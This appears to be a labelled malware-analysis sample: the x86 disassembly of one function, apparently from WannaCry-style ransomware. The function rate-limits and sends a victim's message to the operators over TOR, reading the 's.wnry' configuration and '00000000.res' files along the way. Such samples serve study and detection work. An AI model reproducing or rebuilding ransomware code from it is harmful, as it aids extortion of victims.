Function at 0x4082c0
Capabilities:
Read file on windows

Disassembly:
push 0xffffffffffffffff
push 0x413fce
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x8c
push ebx
push ebp
push esi
push edi
mov ebp, ecx
mov eax, dword [esp + 0xac]
xor ebx, ebx
mov dword [esp + 0xa4], ebx
mov eax, dword [eax - 8]
cmp eax, 0x3e8
jle 0x408337
push 0x3e8
lea ecx, [esp + 0x14]
push ebx
push ecx
lea ecx, [esp + 0xb8]
call sub.MFC42.DLL_CString::Mid_1
push eax
lea ecx, [esp + 0xb0]
mov byte [esp + 0xa8], 1
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x10]
mov byte [esp + 0xa4], bl
call sub.MFC42.DLL_CString::CString
mov edx, dword [esp + 0xac]
cmp dword [edx - 8], 0xa
jge 0x408378
cmp dword [esp + 0xb0], ebx
je 0x408359
push ebx
push ebx
push str.Too_short_message_
call sub.MFC42.DLL_AfxMessageBox
lea ecx, [esp + 0xac]
mov dword [esp + 0xa4], 0xffffffff
call sub.MFC42.DLL_CString::CString
or eax, 0xffffffff
jmp 0x408562
mov esi, dword [sym.imp.MSVCRT.dll_time]
push ebx
call esi
mov edx, dword [0x4218a8]
add esp, 4
sub eax, edx
mov edi, 3
cmp eax, 0xb4
jge 0x40844d
mov eax, dword [0x4218ac]
cmp eax, edi
jge 0x40844d
inc eax
mov dword [0x4218ac], eax
cmp dword [0x4218ac], edi
jl 0x40846c
cmp dword [esp + 0xb0], ebx
je 0x40842e
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
push ebx
mov byte [esp + 0xa8], 2
call esi
mov edi, dword [0x4218a8]
mov ecx, eax
sub ecx, edi
mov eax, 0x88888889
imul ecx
add edx, ecx
mov ecx, 0x3d
sar edx, 5
mov eax, edx
add esp, 4
shr eax, 0x1f
add edx, eax
sub ecx, edx
lea edx, [esp + 0x10]
push ecx
push str.You_are_sending_too_many_mails__Please_try_again__d_minutes_later.
push edx
call sub.MFC42.DLL_CString::Format
mov eax, dword [esp + 0x1c]
add esp, 0xc
push ebx
push ebx
push eax
call sub.MFC42.DLL_AfxMessageBox
lea ecx, [esp + 0x10]
mov byte [esp + 0xa4], bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xac]
mov dword [esp + 0xa4], 0xffffffff
call sub.MFC42.DLL_CString::CString
or eax, 0xffffffff
jmp 0x408562
push ebx
call esi
mov edx, dword [0x4218a8]
add esp, 4
sub eax, edx
cmp eax, 0xe10
jle 0x4083af
mov dword [0x4218ac], ebx
mov ecx, 0x21
xor eax, eax
lea edi, [esp + 0x18]
mov dword [esp + 0x14], ebx
push 0x41fb84
push str.00000000.res
rep stosd dword es:[edi], eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
cmp esi, ebx
jne 0x4084b5
lea ecx, [esp + 0xac]
mov dword [esp + 0xa4], 0xffffffff
call sub.MFC42.DLL_CString::CString
or eax, 0xffffffff
jmp 0x408562
push esi
push 1
lea ecx, [esp + 0x1c]
push 0x88
push ecx
call dword [sym.imp.MSVCRT.dll_fread]
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
lea edx, [ebp + 0x74e]
lea eax, [ebp + 0x6ea]
push edx
push eax
push str.s.wnry
call fcn.0040be90
mov ecx, dword [esp + 0xcc]
push ebx
lea edx, [esp + 0x38]
push ecx
add ebp, 0x5f0
push edx
push ebp
call fcn.0040c060
add esp, 0x30
mov esi, eax
call fcn.0040c670
mov eax, dword [esp + 0xb0]
cmp esi, ebx
jl 0x408538
cmp eax, ebx
je 0x408549
push ebx
push 0x40
push str.Your_message_has_been_sent_successfully_
call sub.MFC42.DLL_AfxMessageBox
push ebx
call dword [sym.imp.MSVCRT.dll_time]
add esp, 4
mov dword [0x4218a8], eax
jmp 0x408549
cmp eax, ebx
je 0x408549
push ebx
push 0x30
push str.Failed_to_send_your_message__nPlease_make_sure_that_your_computer_is_connected_to_the_Internet_and__nyour_Internet_Service_Provider__ISP__does_not_block_connections_to_the_TOR_Network_
call sub.MFC42.DLL_AfxMessageBox
lea ecx, [esp + 0xac]
mov dword [esp + 0xa4], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov eax, esi
mov ecx, dword [esp + 0x9c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x98
ret 8